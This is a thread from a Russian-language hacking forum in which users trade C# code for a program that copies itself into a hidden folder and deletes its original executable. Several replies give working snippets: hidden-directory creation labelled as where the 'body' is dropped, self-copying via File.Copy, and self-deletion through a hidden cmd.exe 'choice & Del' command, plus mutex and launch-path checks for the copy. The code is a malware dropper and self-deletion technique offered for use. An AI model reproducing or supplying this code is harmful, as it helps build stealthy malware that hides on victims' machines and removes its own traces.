• XSS.stack #1 – первый литературный журнал от юзеров форума

C#

kaha

RAID-массив
Пользователь
Регистрация
26.10.2019
Сообщения
60
Реакции
15
я использую
C#:
new Thread(() => { Thread.Sleep(10000); Application.Exit(); }).Start();
что бы при запуске программы само закрылось через 10 сек. моя прога копируется в другой раздел и удаляет основной exe , как сделать чтобы копия программы тоже не закрывалось через 10 сек?)
 
Добавь проверку на путь запуска/имя файла для копии и при запуске проверять, еще можно запускать с определенными параметрами... остальное скорее всего будет непосильным для твоего скила.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Добавь проверку на путь запуска/имя файла для копии и при запуске проверять, еще можно запускать с определенными параметрами... остальное скорее всего будет непосильным для твоего скила.
Уж проще не параметры ,а мутекс
 
приложение не может самоудалиться с кодом
C#:
        public static void Del()
        {

            Process.Start(new ProcessStartInfo()
            {
                Arguments = "/C choice /C Y /N /D Y /T 15 & Del \"" +
                (new FileInfo((new Uri(Assembly.GetExecutingAssembly().CodeBase)).LocalPath)).Name + "\"",
                WindowStyle = ProcessWindowStyle.Hidden,
                CreateNoWindow = true,
                FileName = "cmd.exe"
            });

        }

только когда вручную закрываешь удаляется.
может что он делает копию и запускает(нет)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
приложение не может самоудалиться с кодом
C#:
        public static void Del()
        {

            Process.Start(new ProcessStartInfo()
            {
                Arguments = "/C choice /C Y /N /D Y /T 15 & Del \"" +
                (new FileInfo((new Uri(Assembly.GetExecutingAssembly().CodeBase)).LocalPath)).Name + "\"",
                WindowStyle = ProcessWindowStyle.Hidden,
                CreateNoWindow = true,
                FileName = "cmd.exe"
            });

        }

только когда вручную закрываешь удаляется.
может что он делает копию и запускает(нет)



C#:
                Process.Start(new ProcessStartInfo() //Удалем свое исходное тело в не рабочей папки через cmd
                {
                    Arguments = "/C choice /C Y /N /D Y /T 3 & Del \"" +
                        (new FileInfo((new Uri(Assembly.GetExecutingAssembly().CodeBase)).LocalPath)).Name + "\"",
                    WindowStyle = ProcessWindowStyle.Hidden,
                    CreateNoWindow = true,
                    FileName = "cmd.exe"
                });
                Environment.Exit(0); //сьебыва***ся)

            }

А ошибка у тя в том что:
C#:
Environment.Exit(0);
не закрывает твое приложение.
т.е что бы удалить файл надо завершить его для начала.
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Добавь проверку на путь запуска/имя файла для копии и при запуске проверять, еще можно запускать с определенными параметрами... остальное скорее всего будет непосильным для твоего скила.

Да еще так можно:

C#:
if (!Directory.Exists(dir))
            {
                DirectoryInfo mydir;
                mydir = Directory.CreateDirectory(dir);
                mydir.Attributes = FileAttributes.Directory | FileAttributes.Hidden; //Скрываем папку куда дропаем тело
                Directory.CreateDirectory(dir); //Создаем папку
                mydir.Refresh();
            }

if (!File.Exists(dir + "\\" + file)) //Проверяем есть мы там где над
            {
                File.Copy(Assembly.GetExecutingAssembly().Location, dir + "\\" + file); // Копируемся




                Process.Start(new ProcessStartInfo() //Удалем свое исходное тело в не рабочей папки
                {
                    Arguments = "/C choice /C Y /N /D Y /T 3 & Del \"" +
                        (new FileInfo((new Uri(Assembly.GetExecutingAssembly().CodeBase)).LocalPath)).Name + "\"",
                    WindowStyle = ProcessWindowStyle.Hidden,
                    CreateNoWindow = true,
                    FileName = "cmd.exe"
                });


                Environment.Exit(0);

            }

Как то топорно написал, работать должно, вроде :D если что отпишешь.
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх